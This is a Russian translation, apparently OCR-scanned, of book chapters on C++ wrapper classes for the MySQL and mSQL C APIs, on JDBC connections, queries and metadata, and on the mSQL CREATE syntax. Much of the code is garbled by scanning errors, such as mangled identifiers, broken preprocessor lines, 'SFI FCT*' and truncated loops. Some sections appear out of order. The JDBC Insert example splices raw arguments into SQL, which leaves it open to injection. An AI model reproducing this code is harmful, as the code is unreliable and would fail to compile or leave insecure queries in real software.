    В начале обращения к базе данных делается вызов метода mysql_query() или msqlQuery() с передачей ему команды SQL, которую нужно выполнить. В случае ошибки оба API возвращают отличное от нуля значение. На следующем этапе вызываются mysql_store_result() или msqlStoreResult() , чтобы проверить, получены ли результаты, и сделать эти результаты доступными приложению. В этом месте две СУБД несколько отличаются в деталях обработки.

    В mSQL API метод msqlStoreResult() не генерирует ошибки. Эту функцию приложение использует для того, чтобы поместить полученный результирующий набор в хранилище, управлять которым будет приложение, а не mSQL API. Иными словами, при вызове msqlQuery() результаты запоминаются во временной области памяти, управляемой API. Последующие вызовы msqlQuery() затирают эту область памяти. Чтобы сохранить результат в области памяти вашего приложения, нужно вызвать msqlStoreResult() .

    Поскольку метод msqlStoreResult() не генерирует ошибку, при его вызове нужно рассматривать две возможности. Если обращение к базе данных было запросом, создавшим результирующий набор, то msqlStoreResult() возвращает указатель на структуру m_result, с которой может работать ваше приложение. При всех других типах обращения (обновление, вставка, удаление или создание) msqlStoreResult() возвращает NULL. Узнать количество строк, обработанных неизвлекающим данные запросом, можно из значения, возвращенного исходным вызовом msqlQuery() .

    Подобно msqlStoreResult() , метод mysql_store_result() используется для запоминания данных, возвращенных запросом, в области памяти приложения, но, в отличие от версии для mSQL, необходимо создать для mysql_store_result() некий обработчик ошибок. Именно, значение NULL, возвращенное mysql_store_result() , может означать и то, что запрос не предполагал возвращение результирующего набора, и ошибку при получении последнего. Вызов метода mysql__num_f ields() позволит определить истинную причину. Отличное от 0 значение счетчика полей свидетельствует о происшедшей ошибке. Число измененных строк можно определить при обращении к методу mysql_affected_rows() .*


    Другие методы класса Connection

    По всему классу Connection разбросаны два вспомогательных метода, IsConnected() и GetError(). Проверить состояния соединения просто — достаточно посмотреть значение атрибута connection. Оно должно быть не NULL для MySQL или отличным от -1 для mSQL. Напротив, сообщения об ошибках требуют некоторых пояснений.

    Извлечение сообщений об ошибках для mSQL просто и безыскусно, нужно лишь использовать значение глобальной переменной msqlErrMsg . Ее значение точно совпадает с тем, что возвращает от mSQL метод GetError(). С MySQL дело обстоит несколько сложнее. При обработке любых сообщений об ошибках необходимо учитывать многопоточность. В многопоточной среде обработка ошибок осуществляется путем получения сообщений об ошибках с помощью функции mysql_error() . В примере 13-7 показаны обработка ошибок для MySQL и mSQL в методе GetError(), а также проверка соединения в методе IsConnected() .

    Пример 13-7. Чтение сообщений об ошибках и другие вспомогательные задачи класса Connection

    int Connection::GetAffectedRows() {

    return affected_rows; }

    char 'Connection::GetError() {

    #if defined(HAS_MSQL)

    return msqlErrMsg:

    #elif defined(HAS_MYSQL)

    if( IsConnected() ) {

    return mysql_error(connection); }

    else {

    return mysql_error(&mysql); }

    #else

    #error Нет соединения с базой данных,

    #endif }

    int Connection::IsConnected() {

    #if defined(HAS_MSQL)

    return !(connection < 0);

    #elif defined(HAS_MYSQL)

    return !(iconnection);

    #else

    #error Нет соединения с базой данных,

    #endif

    )

    Проблемы при обработке ошибок

    Хотя обрабатывать ошибки, как это описано выше, несложно благодаря инкапсуляции обработки в простой вызов API в классе Connection , следует остерегаться некоторых потенциальных проблем. Во-первых, при работе с mSQL обработка ошибок осуществляется глобально в пределах приложения. Если приложение поддерживает несколько соединений, значение msqlErrMsg относится к последней ошибке последнего вызова какой-либо функции mSQL API. Следует также учесть, что хотя mSQL - однопоточное приложение, можно создавать многопоточные приложения, использующие mSQL, но проявлять крайнюю осторожность при извлечении сообщений об ошибках. Именно, необходимо написать собственный API, корректно работающий с потоками поверх mSQL С API, который копирует сообщения об ошибках и связывает их с соответствующими соединениями.


    Обе СУБД управляют и сохраняют сообщения об ошибках внутри своих соответствующих API. Поскольку вы не распоряжаетесь этой деятельностью, может возникнуть другая проблема, связанная с запоминанием сообщений об ошибках. В нашем C++ API обработка ошибок . происходит сразу после их возникновения и до того, как приложение сделает новое обращение к базе данных. Если мы хотим продолжить обработку и лишь позднее заняться ошибками, сообщение об ошибке следует скопировать в область памяти нашего приложения.

    Результирующие наборы

    Класс Result абстрагируется от понятий результатов MySQL и mSQL. Он должен обеспечивать доступ как к данным результирующего набора, так и к сопутствующим этому набору метаданным. Согласно объектной модели на рис. 13-1, наш класс Result будет поддерживать циклический просмотр строк результирующего набора и получение числа строк в нем. Ниже в примере 13-8 приведен заголовочный файл класса Result.

    Пример 13-8. Интерфейс класса Result в result.h

    #ifndef 1_result_h

    #define 1_result_h

    #include

    #if defined(HASJSQL)

    #include

    #elif defined(HAS_MYSQl)

    #include

    #endif

    #include "row.h"

    class Result { private:

    int row_count;

    T_RESULT *result;

    Row *current_row;

    public:

    Result(T_RESULT *);

    ~Result();

    void Close();

    Row *GetCurrentRow();

    int GetRowCount();

    int Next(); };

    #endif // l_result_h

    Перемещение по результатам

    Наш класс Result позволяет работать с результирующим набором построчно. Получив экземпляр класса Result в результате обращения к методу Query() , приложение должно последовательно вызывать Next() и GetCurrentRow(), пока очередной Next() не возвратит 0. Пример 13-9 показывает, как выглядят эти действия для MySQL и mSQL.

    Пример 13-9. Перемещение по результирующему набору

    int Result::Next() { T_ROW row;

    if( result == (T_RESULT *)NULL ) {

    throw "Результирующий набор закрыт.";

    }

    #if defined(HAS_MSQL)

    row = msqlFetchRow(result);

    #elif defined(HAS_MYSQL)


    row = mysql_fetch_row(result);

    #else

    #error Нет соединения с базой данных,

    #endif if( ! row )

    {

    current_row = (Row *)NULL;

    return 0;

    }

    else

    {

    current_row = new Row(result, row);

    return 1;

    }

    }

    Row 'Result::GetCurrentRow()

    {

    if( result == (T_RESULT *)NULL )

    { throw "Результирующий набор закрыт.";

    }

    return current_row; }

    Заголовочный файл row.h в примере 13-11 определяет T_ROW и T_RESULT в зависимости от того, для какого ядра базы данных компилируется приложение. Перемещение к следующей строке в обеих базах данных осуществляется одинаково и просто. Вы вызываете mysql_fetch_row() или msqlFetchRow() . Если вызов возвращает NULL, значит, необработанных строк не осталось.

    В объектно-ориентированной среде это единственный тип навигации, которым вы должны пользоваться. API для базы данных в объектно-ориентированном программировании существует лишь для обеспечения извлечения данных, а не их обработки. Обработка данных должна быть заключена в объектах доменов. Однако не все приложения являются объектно-ориентированными. MySQL и mSQL предоставляют функции, позволяющие перемещаться к определенным строкам в базе данных. Это методы mysql_data_seek() mnsqlDataSeek() соответственно.

    Освобождение ресурсов и подсчет строк

    Приложения баз данных должны освобождать после себя ресурсы. Обсуждая класс Connection, мы отметили, как результирующие наборы, порождаемые запросом, помещаются в память, управляемую приложением. Метод Close() класса Result освобождает память, занятую этим результатом. Пример 13-10 показывает, как освободить ресурсы, занятые результатом, и получить количество строк в нем.

    Пример 13-10. Освобождение ресурсов и подсчет числа строк

    void Result::Close() {

    if( result == (T_RESULT *)NULL ) { return;

    }

    #if defined(HAS_MSQL)

    msqlFreeResult(result);

    #elif defined(HAS_MYSQL)

    mysql_free_result(result);

    #else

    #error Нет соединения с базой данных, ftendif

    result = (TJESULT *)NULL; '

    }

    int Result::GetRowCount()

    {


    if( result == (T_RESULT *)NULL )

    {

    throw "Результирующий набор закрыт.";

    }

    if( row_count > -1 )

    {

    return row_count;

    }

    else

    {

    #if defined(HAS_MSQL)

    row_count = msqlNumRows(result);

    #elif defined(HAS_MYSQL)

    row_count = mysql_num_rows(result);

    #else

    #error Нет соединения с базой данных,

    #endif

    return row_count;

    }

    }

    Строки

    Отдельная строка результирующего набора представляется в нашей объектной модели классом Row. Класс Row позволяет приложению извлекать отдельные поля строки. В примере 13-11 показано объявление класса Row.

    Пример 13-11. Объявление класса Row в row.h

    #ifndef l_row_h

    #define l_row_h

    #include

    #if defined(HAS_MSQL)

    #include

    #define T_RESULT m_result

    #define T_ROW m_row

    #elif defined(HAS_MYSQL)

    #include

    #define T_RESULT MYSQL_RES

    #define T_ROW MYSQL_ROW

    #endif

    class Row { private:

    T_RESULT 'result;

    T_ROW fields;

    public:

    Row(T_RESULT *, T_ROW);

    ~Row();

    char *GetField(int);

    int GetFieldCount();

    int IsClosed();

    void Close();

    };

    #endif // l_row_h

    В обоих API есть макросы для типов данных, представляющие результирующий набор и строку внутри него. В обоих API строка является массивом строк, содержащих данные этой строки, и ничем более. Доступ к этим данным осуществляется по индексу массива в порядке, определяемом запросом. Например, для запроса SELECT user_id , password FROM users индекс 0 указывает на имя пользователя и индекс 1 -на пароль. Наш C++ API делает это индексирование несколько более дружественным для пользователя. GetField(1) возвратит первое поле, или f ields[0]. Пример 13-12 содержит полный листинг исходного кода для класса Row.

    Пример 13-12. Реализация класса Row

    #include

    #include "row.h"

    Row::Row(T_RESULT *res, T_ROW row) {

    fields = row;

    result = res; }

    Row::"Row() {

    if( ! IsClosed() ) {

    Close();

    }

    }

    void Row::Close() {

    if( IsClosed() ) {

    throw "Строка освобождена.";


    }

    fields = (T_ROW)NULL;

    result = (T_RESULT *)NULL;

    }

    int Row::GetFieldCount()

    {

    if( IsClosed() )

    {

    throw "Строка освобождена.";

    } #if defined(HASJISQL)

    return msqlNumFields(result);

    #elif defined(HAS_MYSQL)

    return mysql_num_fields(result);

    #else

    #error Нет соединения с базой данных,

    #endif }

    // При вызове этого метода нужно быть готовым

    // к тому, что может быть возвращен

    NULL, char *Row::GetField(int field)

    {

    if( IsClosed() )

    {

    throw "Строка освобождена.";

    }

    if( field < 1 || field > GetFieldCount() .)

    { throw "Индех лежит вне допустимых значений.";}

    return fields[field-1]; }

    int Row::IsClosed() {

    return (fields == (T_ROW)NULL); }

    Пример приложения, использующего эти классы C++, прилагается к книге.

    Что такое JDBC?

    Как и все Java API, JDBC является набором классов и интерфейсов, в совокупности поддерживающих определенный набор функций. В случае JDBC эти функции обеспечивают доступ к базе данных. Классы и интерфейсы, составляющие JDBC API, являются, таким образом, абстракциями понятий, общих при доступе к базам данных любого типа. Например, Connection является интерфейсом Java, представляющим соединение с базой данных. Аналогично ResultSet представляет результирующий набор данных, возвращаемый командой SQL SELECT. Классы, образующие JDBC API, находятся в пакете Java, sql, который был введен Sun в JDK 1.1.

    Естественно, что конкретные детали доступа к базе данных зависят от ее изготовителя. JDBC фактически не имеет дела с этими деталями. Большая часть классов в пакете Java.sql является интерфейсами без реализации. Реализация этих интерфейсов осуществляется производителем базы данных в виде драйвера JDBC. В качестве программиста баз данных вам нужно знать очень немногое относительно драйвера, который вы используете, — все остальное делается через интерфейсы JDBC. Специфическая информация о базе данных, которая необходима для использования JDBC, включает в себя:

  • URL для драйвера JDBC.

  • Имя класса, реализующего Java. sql. Driver.

    Что такое JDBC?В новую спецификацию JDBC 2.0 включено необязательное для реализации производителями баз данных стандартное расширение API. Если поставщик вашей базы данных JDBC реализовал это стандартное расширение, вам даже нет необходимости знать JDBC URL или реализацию класса Driver. Это расширение предусматривает наличие класса DataSource, который можно найти по имени в каталоге с поддержкой JNDI.

    Оба эти элемента можно получить во время выполнения - из командной строки или файла свойств. Сам код программы не ссылается на эти два зависящие от реализации элемента. Мы разъясним, что делают JDBC URL и класс Driver в тех параграфах, где будем рассказывать о соединении с базами данных. На рисунке 14-1 представлена схема интерфейсов JDBC.

    JNDI - Java Naming and Directory Interface (интерфейс имен и каталогов Java) API. Он позволяет запоминать объекты Java в службе имен и каталогов, такой как сервер Lightweight Directory Access Protocol (облегченный протокол доступа к каталогам - LDAP), и находить их по имени.


    Что такое JDBC?

    Рис. 14-1. Классы и интерфейсы, входящие в JDBC API

    Соединение с базой данных

    Прежде всего нужно соединиться с базой данных. Один из немногих реализованных в пакете Java. sql. package классов - это класс DriverManager. Он поддерживает список реализаций JDBC и обеспечивает создание соединений с базами данных на основе сообщаемых ему JDBC URL. URL для JDBC имеет вид jdbc:protocol:subprotocol. Он сообщает DriverManager, с какой СУБД нужно соединиться, и передает ему данные, необходимые для осуществления соединения.

    Что такое JDBC?Смысл слова "driver" в JDBC зависит от контекста. При написании в нижнем регистре JDBC driver является собранием классов, в совокупности реализующих все интерфейсы JDBC и обеспечивающих приложение доступом хотя бы к одной базе данных. При написании Driver с заглавной буквы подразумевается класс, реализуемый в Java. sql. Driver. И наконец, JDBC предоставляет интерфейс DriverManager, с помощью которого можно вести учет всех различных реализаций Driver.

    Часть URL, обозначающая протокол, ссылается на конкретный драйвер JDBC. В случае MySQL и mSQL протоколами являются ту sql и msql соответственно. Субпротокол сообщает данные соединения, специфические для реализации. Для соединения с MySQL и mSQL требуются имя узла и имя базы данных. Дополнительно может потребоваться номер порта, если ядро базы данных запущено не как root. Поэтому полный URL для mSQL выглядит как, например, jdbc:msql://athens.imagi-nary.com: 1114/test. Он сообщает DriverManager о необходимости найти драйвер JDBC для mSQL и соединиться с базой данных test на athens.imaginary.com через порт 1114. Это делается путем единственного обращения к методу getConnection() интерфейса DriverManager. В примере 14-1 показано, как осуществить соединение с базой данных mSQL.

    Пример 14-1. Отрывок кода из примеров, предоставляемых с драйвером JDBC для mSQL, показывающий, как осуществить соединение

    import java.sql.*;

    public class Connect { public static void main(String argv[]) {

    Connection con = null;


    try {

    // Вот JDBC URL для этой базы данных

    String url = "jdbc:msql://athens.imaginary.com:1114/db_test";

    // 0 том, что делают классы Statement и ResultSet, ниже Statement stmt; ResultSet rs;

    // передать это как свойство, т.е.

    // -Djdbc.drivers=com.imaginary.sql.msql.MsqlDriver

    // или загрузить, как сделано в этом примере

    Class.fоrName("com.imaginary, sql. msql. MsqlDriver");

    // здесь осуществляется соединение

    con = DriverManager.getConnection(url, "borg", "");

    }

    catch( SQLException e ) {

    e.printStackTrace(); }

    finally {

    if( con != null ) {

    try { con.close();

    }

    catch( Exception e ) { }

    }

    }

    }

    }

    В этом примере соединение с базой данных осуществляется в строке con=DriverManager.getConnection(url, "borg", ""). В данном случае JDBC URL и имя класса, реализующего Driver, фактически введены в код приложения. В демонстрационной программе это допустимо, но всякое серьезное приложение должно загружать эти данные из файла свойств, получать через аргументы командной строки или из свойств системы. Реализация Driver будет автоматически загружена, если передать ее как системное свойство jdbc.drivers - иными словами, не нужно вызывать Class. ForName(). newlnstance(driver_name), если вы передаете имя драйвера как системное свойство jdbc.drivers. Второй и третий аргументы getConnection() передают ID пользователя и пароль, необходимые для установления соединения. Поскольку mSQL не использует пароли для авторизации пользователей, в примере используется пустая строка. Для MySQL же необходимо сообщить пароль.

    Поддержка переносимости с помощью файлов свойств

    Хотя наше внимание сосредоточено на двух конкретных базах данных, хорошей практикой программирования на Java является обеспечение полной переносимости приложений. Под переносимостью обычно подразумевается, что вы не пишете код, предназначенный для выполнения только на какой-то одной платформе. Однако для Java термин "переносимость" имеет более сильный смысл. Он означает независимость от аппаратных ресурсов и независимость от базы данных.


    Мы сказали о том, что JDBC URL и имя Driver зависят от реализации, но не сказали, как избежать их включения в код. Поскольку и то, и другое представляет собой простые строки, их можно передать в качестве параметров командной строки или как параметры апплетов. Это работающее, но едва ли элегантное решение, поскольку оно требует, чтобы пользователь помнил длинные командные строки. Аналогичное решение - выдавать пользователю приглашение для ввода этих данных, которое опять-таки требует, чтобы пользователь вспоминал JDBC URL и имя класса Java при каждом запуске приложения.

    Более изящное решение получается при использовании файла свойств. Файлы свойств поддерживаются классом Java. util. Resource-Bundle и его подклассами, позволяя приложению извлекать данные, относящиеся ко времени исполнения, из текстового файла. Для приложения, использующего JDBC, можно вставить в файл свойств URL и имя Driver, возложив на администратора приложения обязанность указать детали соединения. Пример 14-2 показывает файл свойств,

    предоставляющий данные о соединении.

    Пример 14-2. Файл SelectResource.properties с подробностями соединения

    Driver=com.imaginary.sql.msql.MsqlDriver

    URL=jdbc:msql://athens.imaginary.com:1114/db_test

    В примере 14-3 показан переносимый класс Connection.

    Пример 14-3. Специфические данные

    import java.sql.*; import java.util.*;

    public class Connect {

    public static void main(String argv[]) {

    Connection con = null;

    ResourceBundle bundle = ResourceBundle.getBundle("SelectResource");

    try {

    String url = bundle.getString("URL");

    Statement stmt; ResultSet rs;

    Class.forName(bundle.getString("Driver")); // здесь осуществляется соединение

    con = DriverManager.getConnection(url, "borg", ""); }

    catch( SQLException e ) { e. printStackTrace();

    }

    finally

    {

    if( con != null )

    {

    try { con.close(); }

    catch( Exception e ) { }

    }

    }

    }

    }

    В этом примере установления соединения мы избавились от кода, специфичного для mSQL. Однако для разработчиков переносимых JDBC-приложений остается одна важная проблема, особенно касающаяся тех, кто работает с mSQL. JDBC требует, чтобы все драйверы поддерживали начальный уровень (entry level) SQL2. Это стандарт ANSI минимальной поддержки SQL. Если при вызовах JDBC вы поддерживаете начальный уровень SQL2, то ваше приложение будет стопроцентно переносимо на другие базы данных. MySQL поддерживает минимальный уровень SQL2, a mSQL - увы, нет. Приложения, написанные для mSQL, скорее всего, без проблем будут переноситься на другие базы данных, но приложения, написанные с использованием начального уровня SQL92, в полном объеме нельзя будет безболезненно перенести обратно на mSQL.



    Динамический доступ к базе данных

    До сих пор мы имели дело с приложениями, в которых во время компиляции точно известно, что нужно будет делать. Если бы это был единственный тип поддержки, обеспечиваемый JDBC, никто не смог бы написать для Mysql и msql интерактивные инструменты командной строки, способные во время исполнения принимать команды SQL и выполнять их. Класс JDBC Statement поддерживает метод execute() для выполнения SQL-команд, которые могут быть запросами или обновлениями. Кроме того, экземпляры ResultSet обеспечивают предоставление о себе информации времени исполнения через интерфейс с именем ResultSetMetaData, доступ к которому осуществляется через вызов метода getMetaData() для ResultSet.

    Метаданные

    Термин метаданные звучит официозно, но на самом деле это не более чем дополнительные данные о некотором объекте, которые, если бы действительно хранились в объекте, просто зря тратили бы ресурсы. Например, для простых приложений не нужны имена колонок, связанных с результирующим набором ResultSet: программисту они, скорее всего, известны во время написания программы. Поэтому помеще

    ние этих дополнительных данных в класс ResultSet не рассматривается разработчиками JDBC как нечто существенное для функциональности ResultSet. Однако в некоторых случаях программирования баз данных i такие вещи, как имена колонок, очень важны, особенно при осуществлении динамического доступа к базам данных. Доступ к этим дополнительным данным - метаданным - разработчики JDBC обеспечили через интерфейс ResultSetMetaData. Этот класс позволяет узнать:

  • Число колонок в результирующем наборе.

  • Является ли NULL допустимым значением в колонке.

  • Метку, используемую для заголовка колонки.

  • Имя заданной колонки.

  • Таблицу, служащую источником данных для данной колонки.

  • Тип данных колонки.

    Другим примером класса, поставляемым вместе с драйвером mSQL-JDBC, является приложение Exec. Оно принимает любую команду SQL, задаваемую в командной строке, и выполняет ее. В примере 14-6 приводится соответствующий исходный код.


    Пример 14-6. Исходный код приложения Exec для выполнения динамического SQL

    import java.sql.*;

    public class Exec {

    public static void main(String args[]) {

    Connection con = null; String sql = "";

    for(int i=0; i
    sql = sql + args[i];

    if( i < args.length - 1 ) {

    sql = sql + " ";

    }

    }

    System, out. рrintln("Выполнение: " + sql);

    try {

    Class.forName("com.imaginary. sql.msql.MsqlDriver").newlnstance();

    String url = "jdbc:msql://athens.imaginary.com:1114/db_test";

    con = DriverManager.getConnection(url, "borg", "");

    Statement s = con.createStatement();

    if( s.execute(sql) ) {

    ResultSet r = s.getResultSet();

    ResultSetMetaData meta = r.getMetaData();

    int cols = meta.getColumnCount();

    int rownum = 0;

    while( r.next() ) { rownum++;

    System, out. println("Crpокa: " + rownum);

    for(int i=0; i
    System.out.print(meta.getColumnLabel(i+1) + ": ' + r.getObject(i+1) + ", ");

    }

    System.out.println("");

    }

    }

    else

    {

    System.out.println(s.getUpdateCount() + " строк обработано.");

    }

    s.close();

    con.close();

    }

    catch( Exception,e ) { e. printStackTrace();

    }

    finally

    {

    if( con != null )

    {

    try { con.close();

    }

    catch( SQLException e ) { }

    }

    }

    }

    }

    Для каждого результирующего набора обеспечивается получение экземпляра ResultSetMetaData с помощью метода getMetaData(). При динамическом доступе к базе данных необходимо узнать, сколько колонок в результирующем наборе, чтобы с уверенностью извлечь все колонки и их имена для вывода пользователю. Метаданные нашего результирующего набора обеспечивают получение всех этих данных с помощью методов getColumnCount() и getColumnLabel().

    Обработка динамического SQL

    В примере 14-6 введено понятие динамического вызова SQL. Поскольку мы не знаем, будет это запрос на получение данных или обновление, нужно передать вызов SQL через метод execute (). Этот метод возвращает true, если команда возвратила результирующий набор, и false в противном случае. В нашем примере, если возвращается true, то приложение получает возвращаемый ResultSet через вызов метода getResultSet(). Затем приложение может перейти к обычной обработке результирующего набора. Если, напротив, команда произвела какую-либо модификацию базы данных, можно вызвать метод getUpdateCu-unt() для подсчета числа строк, модифицированных командой.



    К несчастью, каждый API позволяет

    Java u JDBC

    В главе 13 "Си C++", мы познакомили вас с С API для MySQL и mSQL. К несчастью, каждый API позволяет писать программы только для той базы данных, которую он поддерживает. Если вы собираетесь переносить приложение между MySQL и mSQL или, того хуже, хотите, чтобы оно работало на Oracle, Sybase или с любой другой СУБД, вам необходимо переписать свой код так, чтобы он использовал фирменный API этого ядра. Однако Java-программисты по большей части избавлены от проблем переносимости на другую базу данных. У них есть единый API, Java DataBase Connectivity API (JDBC), обеспечивающий их унифицированным интерфейсом ко всем SQL-базам данных.

    Поскольку JDBC является единым интерфейсом ко всем базам данных, достаточно изучить его, чтобы писать приложения, которые будут работать как с MySQL, так и с mSQL. На самом деле, если должным образом использовать JDBC, то написанные вами на Java приложения смогут работать с любой СУБД. Если у вас есть доступ к другим базам данных, кроме MySQL и mSQL, можете проверить верность этого утверждения, запустив примеры данной главы с другой базой данных.

    Для чтения этой главы предполагается знание основ языка программирования Java и лежащих в его основе концепций. Если такой подготовки у вас нет, настоятельно рекомендуем посмотреть "Exploring Java" (O'Reilly & Associates, Inc.). Узнать более подробно о том, как создавать многоуровневые приложения баз данных, о чем мы рассказывали в главе 8 "Архитектуры приложений баз данных", можно из книги "Database Programming with JDBC and Java" (O'Reilly & Associates, Inc.).



    Простой доступ к базе данных

    В примере Connect делалось не много. В нем было просто показано, как соединиться с базой данных. В соединении с базой данных нет пользы, пока вы не начинаете действительно обмениваться с ней данными. Простейшие виды доступа к базе данных - команды SELECT, INSERT, UPDATE и DELETE. В JDBC API вы используете экземпляр Connection для создания экземпляров класса Statement. Класс Statement представляет SQL-команду любого типа. В примере 14-4 показано, как вставить строку в базу данных, используя Statement.

    Пример 14-4. Вставка строки в mSQL с помощью объекта JDBC Statement

    import Java, sql.*;
    import Java, util.*;

    public class Insert {

    // Делаем вставку в таблицу, имеющую две колонки: test_id (int)

    // и test_val (char(55))

    // args[0] - это test_id, a args[1] - test_val

    public static void main(String argv[]) {

    Connection con = null;

    ResourceBundle bundle = ResourceBundle.getBundle("SelectResource");

    try {

    String url = bundle.getString("URL");
    Statement stmt;

    Class.forName(bundle.getString("Driver"));

    // здесь осуществляется соединение

    con = DriverManager.getConnection(url, "borg", "");

    stmt = con.createStatement();

    stmt.executeUpdate("INSERT INTO test (test_id, test_val) " +

    "VALUES(" + args[0] + ", '," + args[1] + ")");
    }
    catch( SQLException e )
    {

    e. printStackTrace();
    }
    finally
    {

    if( con != null )
    {

    try { con.close();
    }
    catch( Exception e ) { }

    }
    }
    }
    }

    В реальном приложении мы бы, конечно, проверили, что пользователь ввел значение типа INT для test_id, что оно уникально, и что длина введенного значения test_val не превышает 55 символов. Тем не менее пример показывает, как просто осуществлять вставку данных. Метод createStatement() делает то, о чем говорит его название: создает пустую SQL-команду, связанную с рассматриваемым соединением - объектом Connection. Затем метод executeUpdate() передает заданную строку SQL базе данных для выполнения. Как подсказывает название, executeUp-date() ожидает команды SQL, которая некоторым образом модифицирует базу данных. Вы можете использовать ее, чтобы вставлять новые строки, как показано выше, либо удалять строки, обновлять строки, создавать новые таблицы или производить любые другие изменения в базе данных.


    Запросы выполнять немного сложнее, чем обновления, поскольку они возвращают информацию из базы данных в виде объекта ResultSet. ResultSet является интерфейсом, представляющим 0 или более строк, являющихся результатом запроса, обращенного к базе данных. В классе JDBC Statement имеется метод executeQuery(), работающий подобно executeUpdate(), за исключением того, что он возвращает из базы данных ResultSet. Метод executeQuery() возвращает ровно один ResultSet, тем не менее имейте в виду, что JDBC поддерживает извлечение множественных результирующих наборов для тех баз данных, которые это позволяют. Ни MySQL, ни mSQL не поддерживают множественные результирующие наборы. Однако важно помнить о такой возможности, когда вы изучаете код для работы с иным ядром базы данных, написанный кем-то другим. В примере 14-5 показан простой запрос. На рис. 14-2 изображена модель данных з таблице test.

    Пример 14-5. Простой запрос

    import Java, sql.*;

    import Java, util.*;

    public class Select {

    public static void main(String argv[]) {

    Connection con = null;

    ResourceBundle bundle =ResourceBundle.getBundle("SelectResource");

    try {

    String url = bundle.getString("URL"); Statement stmt;

    ResultSet rs;

    Class.forName(bundle.getString("Driver")); // здесь осуществляется соединение

    con = DriverManager,getConnection(url, "borg", "");

    stmt = con.createStatement();

    rs = stmt .executeQuery("SFI FCT* from test ORDER BY test_id");

    System, out.print In("Полученные результаты:");

    while(rs. next()) {

    int a= rs.getInt("test_icT);

    String str = rs.getString("test_val");

    System.out.print(" ключ= " + a);

    System.out.print(" строка= " + str);

    System.out.print("\n");

    }

    stmt.close();

    }

    catch( SQLException e )

    {

    e. printStackTrace();

    }

    finally {

    if( con != null ) {

    try { con.close(); }

    catch( Exception e ) { }

    }

    }

    }

    }

    Приложение Select выполняет запрос и затем проходит по всем строкам ResultSet с помощью метода next(). До первого обращения к next() ResultSet не указывает ни на какую строку. Каждый вызов next () настраивает ResultSet на следующую строку. JDBC 2:0 вводит понятие результирующего набора с перемещением (scrollable). Если ваш экземпляр ResultSet позволяет перемещение, можно также обращаться к методу previous() для перемещения по результирующему набору в обратном направлении. Обработка строк заканчивается, когда next () возвращает false.


    Простой доступ к базе данных

    Рис. 14-2. Таблица test из учебной базы данных

    Работа со строкой означает получение значений для каждой колонки. Каково бы ни было значение в базе данных, можно использовать методы ResultSet для получения значения колонки с любым типом данных Java, который вас устраивает. В приложении Select вызов метода gе tInt() возвращал колонку test_id как int, а вызов getString() возвращал значение колонки test_val как String. Эти методы получения значения колонки принимают либо номер колонки, начиная с 1, либо ее имя. Следует, однако, всеми силами избегать извлечения значений с помощью имен колонок, поскольку такой способ значительно медленнее, чем получение их с помощью номеров колонок.

    Обработка ошибок и освобождение ресурсов

    Все методы JDBC могут возбуждать SQLException или один из подклассов этого класса, если что-то происходит при обращении к базе данных. Ваш код должен уметь перехватывать исключительную ситуацию, обрабатывать ее и освобождать все размещенные в памяти ресурсы базы данных. Все перечисленные до сих пор классы JDBC имеют метод close(). Однако на практике вы должны обеспечить закрытие только тех объектов, которые вызваны процессами, продолжающими оставаться открытыми. В приведенных до сих пор примерах практически требовалось закрыть только соединение с базой данных. При закрытии соединения автоматически закрываются все связанные с ним команды и результирующие наборы. Однако если вы намерены сохранить соединение открытым в течение некоторого времени, будет правильным поспешить закрыть все объекты statement, которые вы создали с использованием этого соединения, когда они вам больше не нужны. В примерах JDBC, которые вы видели, это освобождение ресурсов производится в предложении finally. Это делается для того, чтобы обеспечить закрытие соединения независимо от того, что произойдет.



    Серверное приложение гостевой книги

    Вы, вероятно, немало слышали об апплетах Java. Однако в главе 8 мы говорили о том, что доступ к базам данных на стороне клиента является плохой идеей. В примеры к этой книге мы включили реальное приложение, использующее сведения о JDBC, изложенные в этой главе, для создания класса Java на стороне сервера. Такие приложения называются сервлеты (servlet). Хотя серверные приложения сами по себе не являются частью трехзвенной архитектуры, обсуждавшейся нами в главе 8, данный пример хорошо иллюстрирует возможности использования JDBC. Это серверное приложение является Web-страницей, позволяющей посетителям вашего сайта оставить свое мнение о нем. Оставленные комментарии могут просматриваться другими посетителями. Все, что вам нужно знать о серверных приложениях для понимания этого примера, это то, что метод doPost() обрабатывает события HTTP POST, a de-Get () обрабатывает события HTTP GET.

    В этом приложении две части: часть get и часть post. В обеих частях производится вызов метода printComments() для показа комментариев, оставленных в гостевой книге. В этом методе мы находим нечто, не встречавшееся нам в простых предыдущих примерах: вызов метода wasNull() после каждого извлечения значения колонки. Как и можно предположить из названия, wasNull() возвращает t rue, если последнее извлеченное значение было NULL в смысле SQL. В вызовах, возвращающих объект Java, значение обычно будет NULL, если при чтении из базы данных был получен NULL. Использование wasNull() в таких случаях может показаться излишним. Однако для простых типов данных выборка может возвращать допустимое значение. Метод wasNull() позволяет узнать, не было ли в базе данных значения NULL. Например, NULL в колонке целого типа возвращает 0 при вызове getlnt(). Чтобы узнать, что было в колонке - 0 или NULL, нужно вызвать wasNull().

    Часть III.

    Справочник

    В этой части приводится справочная информация по всем API и утилитам, упоминаемым в книге.



    MSQLSQL

    CREATE

    CREATE TABLE name field_name field_type, [field2 type2, ...]
    CREATE SEQUENCE ON table [STEP value] [VALUE value]
    CREATE INDEX name ON table ( column, ...)

    Создает новые элементы базы данных (или полностью новые базы). Предложение используется для создания БД, таблиц, индексов и счетчиков.

    CREATE SEQUENCE создает счетчик на таблицу. Счетчик - это простое значение, связанное с таблицей, за которым следит сервер mSQL. Наиболее часто счетчик используют для создания уникальных идентификаторов в таблицах. При прочтении значение счетчика каждый раз инкрементируется. Спецификатор STEP указывает на какое значение каждый раз инкрементируется счетчик. Спецификатор VALUE задает начальное значение счетчика.

    Оператор CREATE INDEX определяет индекс для таблицы. Система mSQL поддерживает индексы, содержащие более одного поля. Вы должны дать индексу имя, необязательно осмысленное, поскольку конечным пользователям редко необходим доступ к индексам.

    CREATE TABLE определяет структуру таблицы в базе данных. Этим оператором создаются все таблицы mSQL. Предложение состоит из имени таблицы, за которым идет любое количество определений полей. Синтаксис определения полей включает в себя имя поля, затем его тип, за которым следует любой модификатор (например: name char(30) not null). mSQL поддерживает следующие типы данных:

    CHAR (length)

    Текстовое значение фиксированной длины. Никакое значение не может быть больше заданной длины.

    DATE

    Стандартный тип даты.

    INT

    Стандартное четырехбайтовое целое в диапазоне от -2147483646 до 2147483647.

    MONEY

    Денежный тип, подходящий для аккуратного хранения денежных значений. Тип позволяет хранить десятичные значения (как 19.99) без необходимости использовать тип числа с плавающей запятой.

    REAL

